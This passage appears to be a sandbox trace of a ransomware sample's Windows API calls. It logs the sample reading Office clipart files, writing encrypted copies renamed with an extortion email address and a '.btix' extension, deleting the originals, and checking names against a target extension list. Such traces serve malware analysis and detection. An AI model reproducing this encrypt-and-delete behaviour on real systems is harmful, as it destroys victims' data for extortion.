lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.412] WriteFile (in: hFile=0x398, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.412] SetEndOfFile (hFile=0x398) returned 1 [0070.419] CloseHandle (hObject=0x398) returned 1 [0070.419] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.419] SetEndOfFile (hFile=0x358) returned 1 [0070.420] CloseHandle (hObject=0x358) returned 1 [0070.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0070.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0070.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0070.420] lstrlenW (lpString=".doc") returned 4 [0070.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.420] lstrlenW (lpString=".docx") returned 5 [0070.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.420] lstrlenW (lpString=".pdf") returned 4 [0070.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.421] lstrlenW (lpString=".xls") returned 4 [0070.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.421] lstrlenW (lpString=".xlsx") returned 5 [0070.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.421] lstrlenW (lpString=".ppt") returned 4 [0070.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0070.421] lstrlenW (lpString=".zip") returned 4 [0070.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.421] lstrlenW (lpString=".rar") returned 4 [0070.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.421] lstrlenW (lpString=".bz2") returned 4 [0070.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.421] lstrlenW (lpString=".7z") returned 3 [0070.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0070.421] lstrlenW (lpString=".dbf") returned 4 [0070.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0070.421] lstrlenW (lpString=".1cd") returned 4 [0070.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0070.421] lstrlenW (lpString=".jpg") returned 4 [0070.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.463] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.464] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.464] GetLastError () returned 0x0 [0070.464] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0070.553] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4a80, lpOverlapped=0x0) returned 1 [0070.554] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.554] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.555] SetEndOfFile (hFile=0x354) returned 1 [0070.555] CloseHandle (hObject=0x354) returned 1 [0070.555] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.555] SetEndOfFile (hFile=0x398) returned 1 [0070.556] CloseHandle (hObject=0x398) returned 1 [0070.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0070.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0070.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0070.556] lstrlenW (lpString=".doc") returned 4 [0070.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.556] lstrlenW (lpString=".docx") returned 5 [0070.556] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.556] lstrlenW (lpString=".pdf") returned 4 [0070.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.556] lstrlenW (lpString=".xls") returned 4 [0070.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.557] lstrlenW (lpString=".xlsx") returned 5 [0070.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.557] lstrlenW (lpString=".ppt") returned 4 [0070.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0070.557] lstrlenW (lpString=".zip") returned 4 [0070.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.557] lstrlenW (lpString=".rar") returned 4 [0070.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.557] lstrlenW (lpString=".bz2") returned 4 [0070.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.557] lstrlenW (lpString=".7z") returned 3 [0070.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0070.557] lstrlenW (lpString=".dbf") returned 4 [0070.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0070.557] lstrlenW (lpString=".1cd") returned 4 [0070.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0070.557] lstrlenW (lpString=".jpg") returned 4 [0070.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.558] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.558] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.558] GetLastError () returned 0x0 [0070.558] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x566, lpOverlapped=0x0) returned 1 [0070.599] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x570, lpOverlapped=0x0) returned 1 [0070.600] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.600] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.600] SetEndOfFile (hFile=0x354) returned 1 [0070.600] CloseHandle (hObject=0x354) returned 1 [0070.600] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.601] SetEndOfFile (hFile=0x398) returned 1 [0070.601] CloseHandle (hObject=0x398) returned 1 [0070.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.601] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0070.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0070.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0070.602] lstrlenW (lpString=".doc") returned 4 [0070.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.602] lstrlenW (lpString=".docx") returned 5 [0070.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.602] lstrlenW (lpString=".pdf") returned 4 [0070.602] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.602] lstrlenW (lpString=".xls") returned 4 [0070.602] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.602] lstrlenW (lpString=".xlsx") returned 5 [0070.602] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.602] lstrlenW (lpString=".ppt") returned 4 [0070.602] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0070.602] lstrlenW (lpString=".zip") returned 4 [0070.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.602] lstrlenW (lpString=".rar") returned 4 [0070.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.602] lstrlenW (lpString=".bz2") returned 4 [0070.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.602] lstrlenW (lpString=".7z") returned 3 [0070.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0070.602] lstrlenW (lpString=".dbf") returned 4 [0070.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0070.602] lstrlenW (lpString=".1cd") returned 4 [0070.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0070.603] lstrlenW (lpString=".jpg") returned 4 [0070.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.603] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.603] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0070.603] GetLastError () returned 0x0 [0070.603] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0070.676] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1b30, lpOverlapped=0x0) returned 1 [0070.677] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.677] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.677] SetEndOfFile (hFile=0x354) returned 1 [0070.678] CloseHandle (hObject=0x354) returned 1 [0070.678] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.678] SetEndOfFile (hFile=0x398) returned 1 [0070.678] CloseHandle (hObject=0x398) returned 1 [0070.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0070.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0070.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0070.679] lstrlenW (lpString=".doc") returned 4 [0070.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.679] lstrlenW (lpString=".docx") returned 5 [0070.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.679] lstrlenW (lpString=".pdf") returned 4 [0070.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.679] lstrlenW (lpString=".xls") returned 4 [0070.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.679] lstrlenW (lpString=".xlsx") returned 5 [0070.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.679] lstrlenW (lpString=".ppt") returned 4 [0070.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0070.679] lstrlenW (lpString=".zip") returned 4 [0070.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.680] lstrlenW (lpString=".rar") returned 4 [0070.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.680] lstrlenW (lpString=".bz2") returned 4 [0070.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.680] lstrlenW (lpString=".7z") returned 3 [0070.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0070.680] lstrlenW (lpString=".dbf") returned 4 [0070.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0070.680] lstrlenW (lpString=".1cd") returned 4 [0070.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0070.680] lstrlenW (lpString=".jpg") returned 4 [0070.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.692] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.692] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.699] GetLastError () returned 0x0 [0070.699] ReadFile (in: hFile=0x38c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x2e0, lpOverlapped=0x0) returned 1 [0070.711] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x2f0, lpOverlapped=0x0) returned 1 [0070.712] ReadFile (in: hFile=0x38c, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.712] WriteFile (in: hFile=0x358, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.712] SetEndOfFile (hFile=0x358) returned 1 [0070.727] CloseHandle (hObject=0x358) returned 1 [0070.728] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.728] SetEndOfFile (hFile=0x38c) returned 1 [0070.729] CloseHandle (hObject=0x38c) returned 1 [0070.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0070.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0070.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0070.730] lstrlenW (lpString=".doc") returned 4 [0070.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.730] lstrlenW (lpString=".docx") returned 5 [0070.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.730] lstrlenW (lpString=".pdf") returned 4 [0070.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.730] lstrlenW (lpString=".xls") returned 4 [0070.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.730] lstrlenW (lpString=".xlsx") returned 5 [0070.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.730] lstrlenW (lpString=".ppt") returned 4 [0070.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0070.730] lstrlenW (lpString=".zip") returned 4 [0070.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.731] lstrlenW (lpString=".rar") returned 4 [0070.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.731] lstrlenW (lpString=".bz2") returned 4 [0070.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.731] lstrlenW (lpString=".7z") returned 3 [0070.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0070.731] lstrlenW (lpString=".dbf") returned 4 [0070.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0070.731] lstrlenW (lpString=".1cd") returned 4 [0070.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 68 [0070.731] lstrlenW (lpString=".jpg") returned 4 [0070.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.738] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.738] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0070.740] GetLastError () returned 0x0 [0070.740] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x7620, lpOverlapped=0x0) returned 1 [0070.807] WriteFile (in: hFile=0x318, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x7630, lpOverlapped=0x0) returned 1 [0070.808] ReadFile (in: hFile=0x398, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0070.809] WriteFile (in: hFile=0x318, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0070.809] SetEndOfFile (hFile=0x318) returned 1 [0070.809] CloseHandle (hObject=0x318) returned 1 [0070.809] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0070.809] SetEndOfFile (hFile=0x398) returned 1 [0070.810] CloseHandle (hObject=0x398) returned 1 [0070.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0070.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0070.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0070.815] lstrlenW (lpString=".doc") returned 4 [0070.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.815] lstrlenW (lpString=".docx") returned 5 [0070.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.815] lstrlenW (lpString=".pdf") returned 4 [0070.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.815] lstrlenW (lpString=".xls") returned 4 [0070.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.816] lstrlenW (lpString=".xlsx") returned 5 [0070.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.816] lstrlenW (lpString=".ppt") returned 4 [0070.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0070.816] lstrlenW (lpString=".zip") 